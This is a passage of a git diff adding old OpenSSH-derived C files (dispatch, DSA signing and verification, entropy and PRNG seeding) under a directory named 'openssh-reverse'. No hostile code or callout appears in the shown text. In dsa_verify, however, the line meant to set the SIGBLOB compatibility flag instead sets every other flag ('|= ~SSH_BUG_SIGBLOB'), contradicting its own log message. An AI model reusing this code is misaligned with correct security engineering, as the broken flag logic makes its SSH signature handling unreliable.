defined(HAVE_ON_EXIT) +# define atexit(a) on_exit(a) +#endif /* !defined(HAVE_ATEXIT) && defined(HAVE_ON_EXIT) */ + +/** + ** login recorder definitions + **/ + +/* preprocess */ + +#ifdef HAVE_UTMP_H +# ifdef HAVE_TIME_IN_UTMP +# include +# endif +# include +#endif +#ifdef HAVE_UTMPX_H +# ifdef HAVE_TV_IN_UTMPX +# include +# endif +# include +#endif +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +/* FIXME: put default paths back in */ +#if !defined(UTMP_FILE) && defined(_PATH_UTMP) +# define UTMP_FILE _PATH_UTMP +#endif +#if !defined(WTMP_FILE) && defined(_PATH_WTMP) +# define WTMP_FILE _PATH_WTMP +#endif +/* pick up the user's location for lastlog if given */ +#if !defined(LASTLOG_FILE) && defined(_PATH_LASTLOG) +# define LASTLOG_FILE _PATH_LASTLOG +#endif +#if !defined(LASTLOG_FILE) && defined(CONF_LASTLOG_FILE) +# define LASTLOG_FILE CONF_LASTLOG_FILE +#endif + + +/* The login() library function in libutil is first choice */ +#if defined(HAVE_LOGIN) && !defined(DISABLE_LOGIN) +# define USE_LOGIN + +#else +/* Simply select your favourite login types. */ +/* Can't do if-else because some systems use several... */ +# if defined(UTMPX_FILE) && !defined(DISABLE_UTMPX) +# define USE_UTMPX +# endif +# if defined(UTMP_FILE) && !defined(DISABLE_UTMP) +# define USE_UTMP +# endif +# if defined(WTMPX_FILE) && !defined(DISABLE_WTMPX) +# define USE_WTMPX +# endif +# if defined(WTMP_FILE) && !defined(DISABLE_WTMP) +# define USE_WTMP +# endif + +#endif + +/* I hope that the presence of LASTLOG_FILE is enough to detect this */ +#if defined(LASTLOG_FILE) && !defined(DISABLE_LASTLOG) +# define USE_LASTLOG +#endif + +/* which type of time to use? (api.c) */ +#ifdef HAVE_SYS_TIME_H +# define USE_TIMEVAL +#endif + +/** end of login recorder definitions */ + +#endif /* _DEFINES_H */ diff --git a/other/openssh-reverse/dispatch.c b/other/openssh-reverse/dispatch.c new file mode 100644 index 0000000..8df08b1 --- /dev/null +++ b/other/openssh-reverse/dispatch.c @@ -0,0 +1,78 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: dispatch.c,v 1.3 2000/06/20 01:39:41 markus Exp $"); +#include "ssh.h" +#include "dispatch.h" +#include "packet.h" + +#define DISPATCH_MIN 0 +#define DISPATCH_MAX 255 + +dispatch_fn *dispatch[DISPATCH_MAX]; + +void +dispatch_protocol_error(int type, int plen) +{ + error("Hm, dispatch protocol error: type %d plen %d", type, plen); +} +void +dispatch_init(dispatch_fn *dflt) +{ + int i; + for (i = 0; i < DISPATCH_MAX; i++) + dispatch[i] = dflt; +} +void +dispatch_set(int type, dispatch_fn *fn) +{ + dispatch[type] = fn; +} +void +dispatch_run(int mode, int *done) +{ + for (;;) { + int plen; + int type; + + if (mode == DISPATCH_BLOCK) { + type = packet_read(&plen); + } else { + type = packet_read_poll(&plen); + if (type == SSH_MSG_NONE) + return; + } + if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL) + (*dispatch[type])(type, plen); + else + packet_disconnect("protocol error: rcvd type %d", type); + if (done != NULL && *done) + return; + } +} diff --git a/other/openssh-reverse/dispatch.h b/other/openssh-reverse/dispatch.h new file mode 100644 index 0000000..12084aa --- /dev/null +++ b/other/openssh-reverse/dispatch.h @@ -0,0 +1,11 @@ +enum { + DISPATCH_BLOCK, + DISPATCH_NONBLOCK +}; + +typedef void dispatch_fn(int type, int plen); + +void dispatch_init(dispatch_fn *dflt); +void dispatch_set(int type, dispatch_fn *fn); +void dispatch_run(int mode, int *done); +void dispatch_protocol_error(int type, int plen); diff --git a/other/openssh-reverse/dsa.c b/other/openssh-reverse/dsa.c new file mode 100644 index 0000000..c1c37bc --- /dev/null +++ b/other/openssh-reverse/dsa.c @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: dsa.c,v 1.9 2000/06/20 01:39:41 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "compat.h" + +#include +#include +#include +#include +#include +#include +#include + +#include +#include "kex.h" +#include "key.h" +#include "uuencode.h" + +#define INTBLOB_LEN 20 +#define SIGBLOB_LEN (2*INTBLOB_LEN) + +Key * +dsa_key_from_blob( + char *blob, int blen) +{ + Buffer b; + char *ktype; + int rlen; + DSA *dsa; + Key *key; + +#ifdef DEBUG_DSS + dump_base64(stderr, blob, blen); +#endif + /* fetch & parse DSA/DSS pubkey */ + key = key_new(KEY_DSA); + dsa = key->dsa; + buffer_init(&b); + buffer_append(&b, blob, blen); + ktype = buffer_get_string(&b, NULL); + if (strcmp(KEX_DSS, ktype) != 0) { + error("dsa_key_from_blob: cannot handle type %s", ktype); + key_free(key); + return NULL; + } + buffer_get_bignum2(&b, dsa->p); + buffer_get_bignum2(&b, dsa->q); + buffer_get_bignum2(&b, dsa->g); + buffer_get_bignum2(&b, dsa->pub_key); + rlen = buffer_len(&b); + if(rlen != 0) + error("dsa_key_from_blob: remaining bytes in key blob %d", rlen); + buffer_free(&b); + + debug("keytype %s", ktype); +#ifdef DEBUG_DSS + DSA_print_fp(stderr, dsa, 8); +#endif + return key; +} +int +dsa_make_key_blob(Key *key, unsigned char **blobp, unsigned int *lenp) +{ + Buffer b; + int len; + unsigned char *buf; + + if (key == NULL || key->type != KEY_DSA) + return 0; + buffer_init(&b); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_bignum2(&b, key->dsa->p); + buffer_put_bignum2(&b, key->dsa->q); + buffer_put_bignum2(&b, key->dsa->g); + buffer_put_bignum2(&b, key->dsa->pub_key); + len = buffer_len(&b); + buf = xmalloc(len); + memcpy(buf, buffer_ptr(&b), len); + memset(buffer_ptr(&b), 0, len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (blobp != NULL) + *blobp = buf; + return len; +} +int +dsa_sign( + Key *key, + unsigned char **sigp, int *lenp, + unsigned char *data, int datalen) +{ + unsigned char *digest; + unsigned char *ret; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + unsigned int rlen; + unsigned int slen; + unsigned int len; + unsigned char sigblob[SIGBLOB_LEN]; + Buffer b; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("dsa_sign: no DSA key"); + return -1; + } + digest = xmalloc(evp_md->md_size); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + sig = DSA_do_sign(digest, evp_md->md_size, key->dsa); + if (sig == NULL) { + fatal("dsa_sign: cannot sign"); + } + + rlen = BN_num_bytes(sig->r); + slen = BN_num_bytes(sig->s); + if (rlen > INTBLOB_LEN || slen > INTBLOB_LEN) { + error("bad sig size %d %d", rlen, slen); + DSA_SIG_free(sig); + return -1; + } + debug("sig size %d %d", rlen, slen); + + memset(sigblob, 0, SIGBLOB_LEN); + BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen); + BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen); + DSA_SIG_free(sig); + + if (datafellows & SSH_BUG_SIGBLOB) { + debug("datafellows"); + ret = xmalloc(SIGBLOB_LEN); + memcpy(ret, sigblob, SIGBLOB_LEN); + if (lenp != NULL) + *lenp = SIGBLOB_LEN; + if (sigp != NULL) + *sigp = ret; + } else { + /* ietf-drafts */ + buffer_init(&b); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, sigblob, SIGBLOB_LEN); + len = buffer_len(&b); + ret = xmalloc(len); + memcpy(ret, buffer_ptr(&b), len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (sigp != NULL) + *sigp = ret; + } + return 0; +} +int +dsa_verify( + Key *key, + unsigned char *signature, int signaturelen, + unsigned char *data, int datalen) +{ + Buffer b; + unsigned char *digest; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + unsigned char *sigblob; + char *txt; + unsigned int len; + int rlen; + int ret; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("dsa_verify: no DSA key"); + return -1; + } + + if (!(datafellows & SSH_BUG_SIGBLOB) && + signaturelen == SIGBLOB_LEN) { + datafellows |= ~SSH_BUG_SIGBLOB; + log("autodetect SSH_BUG_SIGBLOB"); + } else if ((datafellows & SSH_BUG_SIGBLOB) && + signaturelen != SIGBLOB_LEN) { + log("autoremove SSH_BUG_SIGBLOB"); + datafellows &= ~SSH_BUG_SIGBLOB; + } + + debug("len %d datafellows %d", signaturelen, datafellows); + + /* fetch signature */ + if (datafellows & SSH_BUG_SIGBLOB) { + sigblob = signature; + len = signaturelen; + } else { + /* ietf-drafts */ + char *ktype; + buffer_init(&b); + buffer_append(&b, (char *) signature, signaturelen); + ktype = buffer_get_string(&b, NULL); + if (strcmp(KEX_DSS, ktype) != 0) { + error("dsa_verify: cannot handle type %s", ktype); + buffer_free(&b); + return -1; + } + sigblob = (unsigned char *)buffer_get_string(&b, &len); + rlen = buffer_len(&b); + if(rlen != 0) { + error("remaining bytes in signature %d", rlen); + buffer_free(&b); + return -1; + } + buffer_free(&b); + xfree(ktype); + } + + if (len != SIGBLOB_LEN) { + fatal("bad sigbloblen %d != SIGBLOB_LEN", len); + } + + /* parse signature */ + sig = DSA_SIG_new(); + sig->r = BN_new(); + sig->s = BN_new(); + BN_bin2bn(sigblob, INTBLOB_LEN, sig->r); + BN_bin2bn(sigblob+ INTBLOB_LEN, INTBLOB_LEN, sig->s); + + if (!(datafellows & SSH_BUG_SIGBLOB)) { + memset(sigblob, 0, len); + xfree(sigblob); + } + + /* sha1 the data */ + digest = xmalloc(evp_md->md_size); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + ret = DSA_do_verify(digest, evp_md->md_size, sig, key->dsa); + + memset(digest, 0, evp_md->md_size); + xfree(digest); + DSA_SIG_free(sig); + + switch (ret) { + case 1: + txt = "correct"; + break; + case 0: + txt = "incorrect"; + break; + case -1: + default: + txt = "error"; + break; + } + debug("dsa_verify: signature %s", txt); + return ret; +} + +Key * +dsa_generate_key(unsigned int bits) +{ + DSA *dsa = DSA_generate_parameters(bits, NULL, 0, NULL, NULL, NULL, NULL); + Key *k; + if (dsa == NULL) { + fatal("DSA_generate_parameters failed"); + } + if (!DSA_generate_key(dsa)) { + fatal("DSA_generate_keys failed"); + } + + k = key_new(KEY_EMPTY); + k->type = KEY_DSA; + k->dsa = dsa; + return k; +} diff --git a/other/openssh-reverse/dsa.h b/other/openssh-reverse/dsa.h new file mode 100644 index 0000000..3cece7c --- /dev/null +++ b/other/openssh-reverse/dsa.h @@ -0,0 +1,22 @@ +#ifndef DSA_H +#define DSA_H + +Key *dsa_key_from_blob(char *blob, int blen); +int dsa_make_key_blob(Key *key, unsigned char **blobp, unsigned int *lenp); + +int +dsa_sign( + Key *key, + unsigned char **sigp, int *lenp, + unsigned char *data, int datalen); + +int +dsa_verify( + Key *key, + unsigned char *signature, int signaturelen, + unsigned char *data, int datalen); + +Key * +dsa_generate_key(unsigned int bits); + +#endif diff --git a/other/openssh-reverse/entropy.c b/other/openssh-reverse/entropy.c new file mode 100644 index 0000000..aa62650 --- /dev/null +++ b/other/openssh-reverse/entropy.c @@ -0,0 +1,825 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include "ssh.h" +#include "xmalloc.h" + +#include +#include + +/* SunOS 4.4.4 needs this */ +#ifdef HAVE_FLOATINGPOINT_H +# include +#endif /* HAVE_FLOATINGPOINT_H */ + +RCSID("$Id: entropy.c,v 1.18 2000/07/15 04:59:15 djm Exp $"); + +#ifndef offsetof +# define offsetof(type, member) ((size_t) &((type *)0)->member) +#endif + +/* Print lots of detail */ +/* #define DEBUG_ENTROPY */ + +/* Number of times to pass through command list gathering entropy */ +#define NUM_ENTROPY_RUNS 1 + +/* Scale entropy estimates back by this amount on subsequent runs */ +#define SCALE_PER_RUN 10.0 + +/* Minimum number of commands to be considered valid */ +#define MIN_ENTROPY_SOURCES 16 + +#define WHITESPACE " \t\n" + +#ifndef RUSAGE_SELF +# define RUSAGE_SELF 0 +#endif +#ifndef RUSAGE_CHILDREN +# define RUSAGE_CHILDREN 0 +#endif + +#if defined(EGD_SOCKET) || defined(RANDOM_POOL) + +#ifdef EGD_SOCKET +/* Collect entropy from EGD */ +int get_random_bytes(unsigned char *buf, int len) +{ + int fd; + char msg[2]; + struct sockaddr_un addr; + int addr_len; + + /* Sanity checks */ + if (sizeof(EGD_SOCKET) > sizeof(addr.sun_path)) + fatal("Random pool path is too long"); + if (len > 255) + fatal("Too many bytes to read from EGD"); + + memset(&addr, '\0', sizeof(addr)); + addr.sun_family = AF_UNIX; + strlcpy(addr.sun_path, EGD_SOCKET, sizeof(addr.sun_path)); + addr_len = offsetof(struct sockaddr_un, sun_path) + sizeof(EGD_SOCKET); + + fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (fd == -1) { + error("Couldn't create AF_UNIX socket: %s", strerror(errno)); + return(0); + } + + if (connect(fd, (struct sockaddr*)&addr, addr_len) == -1) { + error("Couldn't connect to EGD socket \"%s\": %s", + addr.sun_path, strerror(errno)); + close(fd); + return(0); + } + + /* Send blocking read request to EGD */ + msg[0] = 0x02; + msg[1] = len; + + if (atomicio(write, fd, msg, sizeof(msg)) != sizeof(msg)) { + error("Couldn't write to EGD socket \"%s\": %s", + EGD_SOCKET, strerror(errno)); + close(fd); + return(0); + } + + if (atomicio(read, fd, buf, len) != len) { + error("Couldn't read from EGD socket \"%s\": %s", + EGD_SOCKET, strerror(errno)); + close(fd); + return(0); + } + + close(fd); + + return(1); +} +#else /* !EGD_SOCKET */ +#ifdef RANDOM_POOL +/* Collect entropy from /dev/urandom or pipe */ +int get_random_bytes(unsigned char *buf, int len) +{ + int random_pool; + + random_pool = open(RANDOM_POOL, O_RDONLY); + if (random_pool == -1) { + error("Couldn't open random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + return(0); + } + + if (atomicio(read, random_pool, buf, len) != len) { + error("Couldn't read from random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + close(random_pool); + return(0); + } + + close(random_pool); + + return(1); +} +#endif /* RANDOM_POOL */ +#endif /* EGD_SOCKET */ + +/* + * Seed OpenSSL's random number pool from Kernel random number generator + * or EGD + */ +void +seed_rng(void) +{ + char buf[32]; + + debug("Seeding random number generator"); + + if (!get_random_bytes(buf, sizeof(buf))) { + if (!RAND_status()) + fatal("Entropy collection failed and entropy exhausted"); + } else { + RAND_add(buf, sizeof(buf), sizeof(buf)); + } + + memset(buf, '\0', sizeof(buf)); +} + +/* No-op */ +void init_rng(void) {} + +#else /* defined(EGD_SOCKET) || defined(RANDOM_POOL) */ + +/* + * FIXME: proper entropy estimations. All current values are guesses + * FIXME: (ATL) do estimates at compile time? + * FIXME: More entropy sources + */ + +/* slow command timeouts (all in milliseconds) */ +/* static int entropy_timeout_default = ENTROPY_TIMEOUT_MSEC; */ +static int entropy_timeout_current = ENTROPY_TIMEOUT_MSEC; + +static int prng_seed_saved = 0; +static int prng_initialised = 0; +uid_t original_uid; + +typedef struct +{ + /* Proportion of data that is entropy */ + double rate; + /* Counter goes positive if this command times out */ + unsigned int badness; + /* Increases by factor of two each timeout */ + unsigned int sticky_badness; + /* Path to executable */ + char *path; + /* argv to pass to executable */ + char *args[5]; + /* full command string (debug) */ + char *cmdstring; +} entropy_source_t; + +double stir_from_system(void); +double stir_from_programs(void); +double stir_gettimeofday(double entropy_estimate); +double stir_clock(double entropy_estimate); +double stir_rusage(int who, double entropy_estimate); +double hash_output_from_command(entropy_source_t *src, char *hash); + +/* this is initialised from a file, by prng_read_commands() */ +entropy_source_t *entropy_sources = NULL; + +double +stir_from_system(void) +{ + double total_entropy_estimate; + long int i; + + total_entropy_estimate = 0; + + i = getpid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getppid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getuid(); + RAND_add(&i, sizeof(i), 0.0); + i = getgid(); + RAND_add(&i, sizeof(i), 0.0); + + total_entropy_estimate += stir_gettimeofday(1.0); + total_entropy_estimate += stir_clock(0.5); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 2.0); + + return(total_entropy_estimate); +} + +double +stir_from_programs(void) +{ + int i; + int c; + double entropy_estimate; + double total_entropy_estimate; + char hash[SHA_DIGEST_LENGTH]; + + total_entropy_estimate = 0; + for(i = 0; i < NUM_ENTROPY_RUNS; i++) { + c = 0; + while (entropy_sources[c].path != NULL) { + + if (!entropy_sources[c].badness) { + /* Hash output from command */ + entropy_estimate = hash_output_from_command(&entropy_sources[c], hash); + + /* Scale back entropy estimate according to command's rate */ + entropy_estimate *= entropy_sources[c].rate; + + /* Upper bound of entropy estimate is SHA_DIGEST_LENGTH */ + if (entropy_estimate > SHA_DIGEST_LENGTH) + entropy_estimate = SHA_DIGEST_LENGTH; + + /* Scale back estimates for subsequent passes through list */ + entropy_estimate /= SCALE_PER_RUN * (i + 1.0); + + /* Stir it in */ + RAND_add(hash, sizeof(hash), entropy_estimate); + +#ifdef DEBUG_ENTROPY + debug("Got %0.2f bytes of entropy from '%s'", entropy_estimate, + entropy_sources[c].cmdstring); +#endif + + total_entropy_estimate += entropy_estimate; + + /* Execution times should be a little unpredictable */ + total_entropy_estimate += stir_gettimeofday(0.05); + total_entropy_estimate += stir_clock(0.05); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 0.1); + total_entropy_estimate += stir_rusage(RUSAGE_CHILDREN, 0.1); + } else { +#ifdef DEBUG_ENTROPY + debug("Command '%s' disabled (badness %d)", + entropy_sources[c].cmdstring, entropy_sources[c].badness); +#endif + + if (entropy_sources[c].badness > 0) + entropy_sources[c].badness--; + } + + c++; + } + } + + return(total_entropy_estimate); +} + +double +stir_gettimeofday(double entropy_estimate) +{ + struct timeval tv; + + if (gettimeofday(&tv, NULL) == -1) + fatal("Couldn't gettimeofday: %s", strerror(errno)); + + RAND_add(&tv, sizeof(tv), entropy_estimate); + + return(entropy_estimate); +} + +double +stir_clock(double entropy_estimate) +{ +#ifdef HAVE_CLOCK + clock_t c; + + c = clock(); + RAND_add(&c, sizeof(c), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_CLOCK */ + return(0); +#endif /* _HAVE_CLOCK */ +} + +double +stir_rusage(int who, double entropy_estimate) +{ +#ifdef HAVE_GETRUSAGE + struct rusage ru; + + if (getrusage(who, &ru) == -1) + return(0); + + RAND_add(&ru, sizeof(ru), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_GETRUSAGE */ + return(0); +#endif /* _HAVE_GETRUSAGE */ +} + + +static +int +_get_timeval_msec_difference(struct timeval *t1, struct timeval *t2) { + int secdiff, usecdiff; + + secdiff = t2->tv_sec - t1->tv_sec; + usecdiff = (secdiff*1000000) + (t2->tv_usec - t1->tv_usec); + return (int)(usecdiff / 1000); +} + +double +hash_output_from_command(entropy_source_t *src, char *hash) +{ + static int devnull = -1; + int p[2]; + fd_set rdset; + int cmd_eof = 0, error_abort = 0; + struct timeval tv_start, tv_current; + int msec_elapsed = 0; + pid_t pid; + int status; + char buf[16384]; + int bytes_read; + int total_bytes_read; + SHA_CTX sha; + + if (devnull == -1) { + devnull = open("/dev/null", O_RDWR); + if (devnull == -1) + fatal("Couldn't open /dev/null: %s", strerror(errno)); + } + + if (pipe(p) == -1) + fatal("Couldn't open pipe: %s", strerror(errno)); + + (void)gettimeofday(&tv_start, NULL); /* record start time */ + + switch (pid = fork()) { + case -1: /* Error */ + close(p[0]); + close(p[1]); + fatal("Couldn't fork: %s", strerror(errno)); + /* NOTREACHED */ + case 0: /* Child */ + dup2(devnull, STDIN_FILENO); + dup2(p[1], STDOUT_FILENO); + dup2(p[1], STDERR_FILENO); + close(p[0]); + close(p[1]); + close(devnull); + + setuid(original_uid); + execv(src->path, (char**)(src->args)); + debug("(child) Couldn't exec '%s': %s", src->cmdstring, + strerror(errno)); + _exit(-1); + default: /* Parent */ + break; + } + + RAND_add(&pid, sizeof(&pid), 0.0); + + close(p[1]); + + /* Hash output from child */ + SHA1_Init(&sha); + total_bytes_read = 0; + + while (!error_abort && !cmd_eof) { + int ret; + struct timeval tv; + int msec_remaining; + + (void) gettimeofday(&tv_current, 0); + msec_elapsed = _get_timeval_msec_difference(&tv_start, &tv_current); + if (msec_elapsed >= entropy_timeout_current) { + error_abort=1; + continue; + } + msec_remaining = entropy_timeout_current - msec_elapsed; + + FD_ZERO(&rdset); + FD_SET(p[0], &rdset); + tv.tv_sec = msec_remaining / 1000; + tv.tv_usec = (msec_remaining % 1000) * 1000; + + ret = select(p[0]+1, &rdset, NULL, NULL, &tv); + + RAND_add(&tv, sizeof(tv), 0.0); + + switch (ret) { + case 0: + /* timer expired */ + error_abort = 1; + break; + case 1: + /* command input */ + bytes_read = read(p[0], buf, sizeof(buf)); + RAND_add(&bytes_read, sizeof(&bytes_read), 0.0); + if (bytes_read == -1) { + error_abort = 1; + break; + } else if (bytes_read) { + SHA1_Update(&sha, buf, bytes_read); + total_bytes_read += bytes_read; + } else { + cmd_eof = 1; + } + break; + case -1: + default: + /* error */ + debug("Command '%s': select() failed: %s", src->cmdstring, + strerror(errno)); + error_abort = 1; + break; + } + } + + SHA1_Final(hash, &sha); + + close(p[0]); + +#ifdef DEBUG_ENTROPY + debug("Time elapsed: %d msec", msec_elapsed); +#endif + + if (waitpid(pid, &status, 0) == -1) { + debug("Couldn't wait for child '%s' completion: %s", src->cmdstring, + strerror(errno)); + return(0.0); + } + + RAND_add(&status, sizeof(&status), 0.0); + + if (error_abort) { + /* closing p[0] on timeout causes the entropy command to + * SIGPIPE. Take whatever output we got, and mark this command + * as slow */ + debug("Command '%s' timed out", src->cmdstring); + src->sticky_badness *= 2; + src->badness = src->sticky_badness; + return(total_bytes_read); + } + + if (WIFEXITED(status)) { + if (WEXITSTATUS(status)==0) { + return(total_bytes_read); + } else { + debug("Command '%s' exit status was %d", src->cmdstring, + WEXITSTATUS(status)); + src->badness = src->sticky_badness = 128; + return (0.0); + } + } else if (WIFSIGNALED(status)) { + debug("Command '%s' returned on uncaught signal %d !", src->cmdstring, + status); + src->badness = src->sticky_badness = 128; + return(0.0); + } else + return(0.0); +} + +/* + * prng seedfile functions + */ +int +prng_check_seedfile(char *filename) { + + struct stat st; + + /* FIXME raceable: eg replace seed between this stat and subsequent open */ + /* Not such a problem because we don't trust the seed file anyway */ + if (lstat(filename, &st) == -1) { + /* Fail on hard errors */ + if (errno != ENOENT) + fatal("Couldn't stat random seed file \"%s\": %s", filename, + strerror(errno)); + + return(0); + } + + /* regular file? */ + if (!S_ISREG(st.st_mode)) + fatal("PRNG seedfile %.100s is not a regular file", filename); + + /* mode 0600, owned by root or the current user? */ + if (((st.st_mode & 0177) != 0) || !(st.st_uid == original_uid)) + fatal("PRNG seedfile %.100s must be mode 0600, owned by uid %d", + filename, getuid()); + + return(1); +} + +void +prng_write_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + /* Don't bother if we have already saved a seed */ + if (prng_seed_saved) + return; + + setuid(original_uid); + + prng_seed_saved = 1; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + /* Try to ensure that the parent directory is there */ + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_USER_DIR); + mkdir(filename, 0700); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("writing PRNG seed to file %.100s", filename); + + RAND_bytes(seed, sizeof(seed)); + + /* Don't care if the seed doesn't exist */ + prng_check_seedfile(filename); + + if ((fd = open(filename, O_WRONLY|O_TRUNC|O_CREAT, 0600)) == -1) + fatal("couldn't access PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + if (atomicio(write, fd, &seed, sizeof(seed)) != sizeof(seed)) + fatal("problem writing PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + close(fd); +} + +void +prng_read_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("loading PRNG seed from file %.100s", filename); + + if (!prng_check_seedfile(filename)) { + verbose("Random seed file not found, creating new"); + prng_write_seedfile(); + + /* Reseed immediatly */ + (void)stir_from_system(); + (void)stir_from_programs(); + return; + } + + /* open the file and read in the seed */ + fd = open(filename, O_RDONLY); + if (fd == -1) + fatal("could not open PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + if (atomicio(read, fd, &seed, sizeof(seed)) != sizeof(seed)) { + verbose("invalid or short read from PRNG seedfile %.100s - ignoring", + filename); + 